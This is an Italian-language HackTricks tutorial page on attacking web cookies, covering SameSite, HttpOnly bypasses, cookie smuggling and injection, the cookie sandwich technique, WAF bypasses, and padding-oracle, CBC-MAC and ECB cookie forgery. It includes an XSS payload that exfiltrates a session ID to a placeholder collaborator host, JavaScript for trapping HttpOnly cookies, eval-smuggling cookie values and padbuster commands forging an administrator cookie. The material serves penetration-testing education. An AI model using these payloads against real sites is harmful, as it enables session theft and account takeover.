Cookies Hacking
Reading time: 16 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cookie Attributes
Cookies vengono fornite con diversi attributi che controllano il loro comportamento nel browser dell'utente. Ecco una panoramica di questi attributi in voce più passiva:
Expires and Max-Age
La data di scadenza di un cookie è determinata dall'attributo Expires
. Al contrario, l'attributo Max-age
definisce il tempo in secondi fino a quando un cookie viene eliminato. Preferire Max-age
in quanto riflette pratiche più moderne.
Domain
Gli host che ricevono un cookie sono specificati dall'attributo Domain
. Per impostazione predefinita, questo è impostato sull'host che ha emesso il cookie, senza includere i suoi sottodomini. Tuttavia, quando l'attributo Domain
viene esplicitamente impostato, esso comprende anche i sottodomini. Questo rende la specificazione dell'attributo Domain
un'opzione meno restrittiva, utile in scenari dove è necessario condividere cookie tra sottodomini. Per esempio, impostando Domain=mozilla.org
i cookie saranno accessibili sui suoi sottodomini come developer.mozilla.org
.
Path
Un percorso URL specifico che deve essere presente nell'URL richiesto affinché l'intestazione Cookie
venga inviata è indicato dall'attributo Path
. Questo attributo considera il carattere /
come separatore di directory, permettendo corrispondenze anche nelle sottodirectory.
Ordering Rules
Quando due cookie hanno lo stesso nome, quello scelto per l'invio si basa su:
- Il cookie che corrisponde al percorso più lungo nell'URL richiesto.
- Il cookie impostato più di recente se i percorsi sono identici.
SameSite
- L'attributo
SameSite
stabilisce se i cookie vengono inviati su richieste provenienti da domini di terze parti. Offre tre impostazioni: - Strict: Impedisce che il cookie venga inviato su richieste di terze parti.
- Lax: Permette che il cookie venga inviato con richieste GET avviate da siti web di terze parti.
- None: Permette che il cookie venga inviato da qualsiasi dominio di terze parti.
Ricordare che, durante la configurazione dei cookie, comprendere questi attributi può aiutare a garantire che si comportino come previsto in diversi scenari.
Request Type | Example Code | Cookies Sent When |
---|---|---|
Link | <a href="..."></a> | NotSet*, Lax, None |
Prerender | <link rel="prerender" href=".."/> | NotSet*, Lax, None |
Form GET | <form method="GET" action="..."> | NotSet*, Lax, None |
Form POST | <form method="POST" action="..."> | NotSet*, None |
iframe | <iframe src="..."></iframe> | NotSet*, None |
AJAX | $.get("...") | NotSet*, None |
Image | <img src="..."> | NetSet*, None |
Table from Invicti and slightly modified.
Un cookie con l'attributo SameSite mitigherà CSRF attacks dove è necessaria una sessione autenticata.
*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Notare che temporaneamente, dopo l'applicazione di questa modifica, i cookie senza una SameSite policy in Chrome saranno trattati come None durante i primi 2 minuti e poi come Lax per top-level cross-site POST request.
Cookies Flags
HttpOnly
Questo impedisce al client di accedere al cookie (Via Javascript per esempio: document.cookie
)
Bypasses
- Se la pagina sta inviando i cookie come risposta a una richiesta (per esempio in una pagina PHPinfo), è possibile abusare di XSS per inviare una richiesta a questa pagina e rubare i cookie dalla risposta (controllare un esempio in https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- Questo può essere bypassato con richieste TRACE HTTP in quanto la risposta dal server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata Cross-Site Tracking.
- Questa tecnica è evitata dai browser moderni non permettendo l'invio di una richiesta TRACE da JS. Tuttavia, sono stati trovati alcuni bypass in software specifico come l'invio di
\r\nTRACE
invece diTRACE
su IE6.0 SP2. - Un altro modo è lo sfruttamento di vulnerabilità zero/day nei browser.
- È possibile sovrascrivere HttpOnly cookies eseguendo un attacco di Cookie Jar overflow:
- È possibile usare un attacco di Cookie Smuggling per esfiltrare questi cookie
- Se un endpoint lato server echo il raw session ID nella risposta HTTP (es. dentro commenti HTML o un blocco di debug), è possibile bypassare HttpOnly usando un gadget XSS per richiedere quell'endpoint, estrarre il segreto tramite regex ed esfiltrarlo. Esempio di pattern di payload XSS:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
Secure
La richiesta invierà il cookie soltanto in una richiesta HTTP se la richiesta è trasmessa su un canale sicuro (tipicamente HTTPS).
Prefissi dei cookie
I cookie con prefisso __Secure-
devono essere impostati insieme al flag secure
da pagine protette da HTTPS.
Per i cookie con prefisso __Host-
devono essere soddisfatte diverse condizioni:
- Devono essere impostati con il flag
secure
. - Devono provenire da una pagina protetta da HTTPS.
- È vietato specificare un
domain
, impedendone la trasmissione ai sottodomini. - Il path per questi cookie deve essere impostato su
/
.
È importante notare che i cookie con prefisso __Host-
non possono essere inviati a superdomini o sottodomini. Questa restrizione aiuta a isolare i cookie dell'applicazione. Pertanto, utilizzare il prefisso __Host-
per tutti i cookie dell'applicazione può essere considerata una buona pratica per migliorare la sicurezza e l'isolamento.
Overwriting cookies
Quindi, una delle protezioni dei cookie con prefisso __Host-
è impedirne la sovrascrittura da parte dei sottodomini. Previene, per esempio, Cookie Tossing attacks. Nel talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) viene mostrato che era possibile impostare __HOST- prefixed cookies da un sottodominio, ingannando il parser, per esempio aggiungendo "=" all'inizio o all'inizio e alla fine...:
 (1) (1) (1) (1).png)
Oppure, in PHP era possibile aggiungere altri caratteri all'inizio del nome del cookie che sarebbero stati sostituiti da underscore, permettendo di sovrascrivere i cookie __HOST-
:
 (1) (1) (1) (1).png)
Attacchi ai cookie
Se un cookie custom contiene dati sensibili controllalo (soprattutto se stai facendo un CTF), poiché potrebbe essere vulnerabile.
Decoding and Manipulating Cookies
I dati sensibili incorporati nei cookie devono sempre essere esaminati. I cookie codificati in Base64 o in formati simili possono spesso essere decodificati. Questa vulnerabilità permette agli attaccanti di modificare il contenuto del cookie e di impersonare altri utenti codificando di nuovo i dati modificati nel cookie.
Session Hijacking
Questo attacco consiste nel rubare il cookie di un utente per ottenere accesso non autorizzato al suo account in un'applicazione. Utilizzando il cookie rubato, un attaccante può impersonare l'utente legittimo.
Session Fixation
In questo scenario, un attaccante induce una vittima a utilizzare un cookie specifico per effettuare il login. Se l'applicazione non assegna un nuovo cookie al momento del login, l'attaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima effettui il login con un cookie fornito dall'attaccante.
Se hai trovato una XSS in un sottodominio o controlli un sottodominio, leggi:
Session Donation
Qui, l'attaccante convince la vittima a usare il cookie di sessione dell'attaccante. La vittima, credendo di essere autenticata nel proprio account, eseguirà involontariamente azioni nel contesto dell'account dell'attaccante.
Se hai trovato una XSS in un sottodominio o controlli un sottodominio, leggi:
JWT Cookies
Click on the previous link to access a page explaining possible flaws in JWT.
I JSON Web Tokens (JWT) usati nei cookie possono anch'essi presentare vulnerabilità. Per informazioni dettagliate sui potenziali problemi e su come sfruttarli, è consigliato consultare il documento linkato su hacking JWT.
Cross-Site Request Forgery (CSRF)
Questo attacco costringe un utente autenticato ad eseguire azioni non volute su un'applicazione web in cui è attualmente autenticato. Gli attaccanti possono sfruttare i cookie che vengono inviati automaticamente con ogni richiesta al sito vulnerabile.
Empty Cookies
(Check further details in theoriginal research) I browser permettono la creazione di cookie senza nome, cosa che può essere dimostrata tramite JavaScript come segue:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
Il risultato nell'intestazione Cookie inviata è a=v1; test value; b=v2;
. In modo intrigante, questo permette la manipolazione dei cookie se viene impostato un cookie senza nome, potenzialmente controllando altri cookie impostando il cookie senza nome a un valore specifico:
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
Questo porta il browser a inviare un cookie header interpretato da ogni web server come un cookie chiamato a
con valore b
.
Chrome Bug: Unicode Surrogate Codepoint Issue
In Chrome, se un Unicode surrogate codepoint fa parte di un set cookie, document.cookie
viene corrotto e successivamente restituisce una stringa vuota:
document.cookie = "\ud800=meep"
Questo fa sì che document.cookie
restituisca una stringa vuota, indicando una corruzione permanente.
Cookie Smuggling a causa di problemi di parsing
(Consulta ulteriori dettagli nellaoriginal research) Diversi web server, inclusi quelli Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gestiscono in modo errato le stringhe di cookie a causa del supporto obsoleto di RFC2965. Interpretano un valore di cookie tra virgolette doppie come un unico valore anche se contiene punti e virgola, che normalmente dovrebbero separare coppie chiave-valore:
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Cookie Injection Vulnerabilities
(Per ulteriori dettagli consulta l'original research) L'errata parsing dei cookies da parte dei server, in particolare Undertow, Zope e quelli che usano Python's http.cookie.SimpleCookie
e http.cookie.BaseCookie
, crea opportunità per cookie injection attacks. Questi server non delimitano correttamente l'inizio di nuovi cookies, permettendo agli attacker di spoofare cookies:
- Undertow si aspetta un nuovo cookie immediatamente dopo un valore tra virgolette senza un punto e virgola.
- Zope cerca una virgola per iniziare il parsing del cookie successivo.
- Le classi cookie di Python iniziano a parsare su un carattere spazio.
Questa vulnerabilità è particolarmente pericolosa nelle web applications che si basano su cookie-based CSRF protection, poiché permette agli attacker di injectare spoofed CSRF-token cookies, potenzialmente bypassando le misure di sicurezza. Il problema è aggravato dal comportamento di Python con nomi di cookie duplicati, dove l'ultima occorrenza sovrascrive le precedenti. Solleva inoltre preoccupazioni per __Secure-
e __Host-
cookies in contesti non sicuri e potrebbe portare a authorization bypasses quando i cookies vengono passati a back-end servers suscettibili allo spoofing.
Cookies $version
WAF Bypass
Secondo this blogpost, potrebbe essere possibile usare l'attributo cookie $Version=1
per far sì che il backend utilizzi una logica di parsing vecchia a causa della RFC2109. Inoltre, altri valori come $Domain
e $Path
possono essere usati per modificare il comportamento del backend rispetto al cookie.
Cookie Sandwich Attack
Secondo this blogpost è possibile usare la cookie sandwich technique per rubare HttpOnly cookies. Questi sono i requisiti e i passaggi:
- Trova un punto in cui un apparente cookie inutile è reflected nella risposta
- Create a cookie called
$Version
con valore1
(puoi farlo in un attacco XSS da JS) con un path più specifico in modo che ottenga la posizione iniziale (alcuni framework come python non necessitano di questo passaggio) - Create the cookie that is reflected con un valore che lascia una open double quotes e con un path specifico in modo che venga posizionato nel cookie db dopo il precedente (
$Version
) - Poi, il cookie legittimo verrà posizionato subito dopo nell'ordine
- Create a dummy cookie that closes the double quotes all'interno del suo valore
In questo modo il victim cookie rimane intrappolato nella nuova cookie versione 1 e verrà riflesso ogni volta che viene riflesso. ad esempio dal post:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF bypasses
Cookies $version
Controlla la sezione precedente.
Bypassing value analysis with quoted-string encoding
Questa parsing indica di unescape-are i valori escaped all'interno dei cookies, quindi "\a" diventa "a". Questo può essere utile per bypassare i WAFS come:
eval('test') => forbidden
"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
Bypassing cookie-name blocklists
Nel RFC2109 è indicato che una virgola può essere usata come separatore tra i cookie values. Ed è anche possibile aggiungere spazi e tab prima e dopo il segno di uguale. Pertanto un cookie come $Version=1; foo=bar, abc = qux
non genera il cookie "foo":"bar, admin = qux"
ma i cookie foo":"bar"
e "admin":"qux"
. Nota come vengano generati 2 cookie e come ad admin sia stato rimosso lo spazio prima e dopo il segno di uguale.
Bypassing value analysis with cookie splitting
Infine diversi backdoors unirebbero in una stringa cookie differenti passati in diversi cookie headers, come in:
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
Il che potrebbe permettere il bypass di un WAF come in questo esempio:
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
Controlli extra per Cookie vulnerabili
Controlli di base
- Il cookie è uguale ogni volta che effettui il login.
- Fai Log out e prova a usare lo stesso cookie.
- Prova a eseguire il log in con 2 dispositivi (o browser) sullo stesso account usando lo stesso cookie.
- Controlla se il cookie contiene informazioni e prova a modificarle
- Prova a creare diversi accounts con username quasi identici e verifica se riesci a vedere somiglianze.
- Controlla l'opzione "remember me" se esiste per vedere come funziona. Se esiste e potrebbe essere vulnerabile, usa sempre il cookie di remember me senza alcun altro cookie.
- Verifica se il cookie precedente funziona anche dopo aver cambiato la password.
Attacchi avanzati ai cookie
Se il cookie rimane lo stesso (o quasi) quando esegui il log in, probabilmente significa che il cookie è correlato a qualche campo del tuo account (probabilmente lo username). A questo punto puoi:
- Prova a creare molti accounts con username molto simili e cerca di indovinare come funziona l'algoritmo.
- Prova a bruteforce the username. Se il cookie viene usato solo come metodo di autenticazione per il tuo username, allora puoi creare un account con username "Bmin" e bruteforce ogni singolo bit del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "admin".
- Prova Padding Oracle (puoi decriptare il contenuto del cookie). Usa padbuster.
Padding Oracle - Esempi di Padbuster
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbuster effettuerà diversi tentativi e ti chiederà quale condizione corrisponde all'errore (quella non valida).
Poi inizierà decrypting the cookie (potrebbe richiedere diversi minuti)
Se l'attacco è stato eseguito con successo, allora potresti provare a encrypt una stringa a tua scelta. Per esempio, se volessi encrypt user=administrator
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
Questa esecuzione ti darà il cookie correttamente cifrato e codificato con la stringa user=administrator all'interno.
CBC-MAC
Forse un cookie potrebbe avere un valore e potrebbe essere firmato usando CBC. In questo caso, l'integrità del valore è la firma creata usando CBC con lo stesso valore. Poiché è raccomandato usare come IV un vettore nullo, questo tipo di verifica di integrità potrebbe essere vulnerabile.
The attack
- Ottieni la firma dell'username administ = t
- Ottieni la firma dell'username rator\x00\x00\x00 XOR t = t'
- Imposta nel cookie il valore administrator+t' (t' sarà una firma valida di (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00
ECB
Se il cookie è cifrato usando ECB potrebbe essere vulnerabile.
Quando effettui il login il cookie che ricevi deve essere sempre lo stesso.
How to detect and attack:
Crea 2 utenti con dati quasi identici (username, password, email, ecc.) e prova a scoprire qualche pattern all'interno del cookie fornito
Crea un utente chiamato ad esempio "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e verifica se c'è qualche pattern nel cookie (dato che ECB cifra ogni blocco con la stessa chiave, gli stessi byte cifrati potrebbero apparire se lo username è cifrato).
Dovrebbe esserci un pattern (con la dimensione del blocco usato). Quindi, sapendo come viene cifrato un blocco di "a" puoi creare uno username: "a"*(size of the block)+"admin". Poi puoi eliminare il pattern cifrato corrispondente a un blocco di "a" dal cookie. E otterrai il cookie dello username "admin".
References
- https://blog.ankursundara.com/cookie-bugs/
- https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
- https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
- https://seclists.org/webappsec/2006/q2/181
- https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.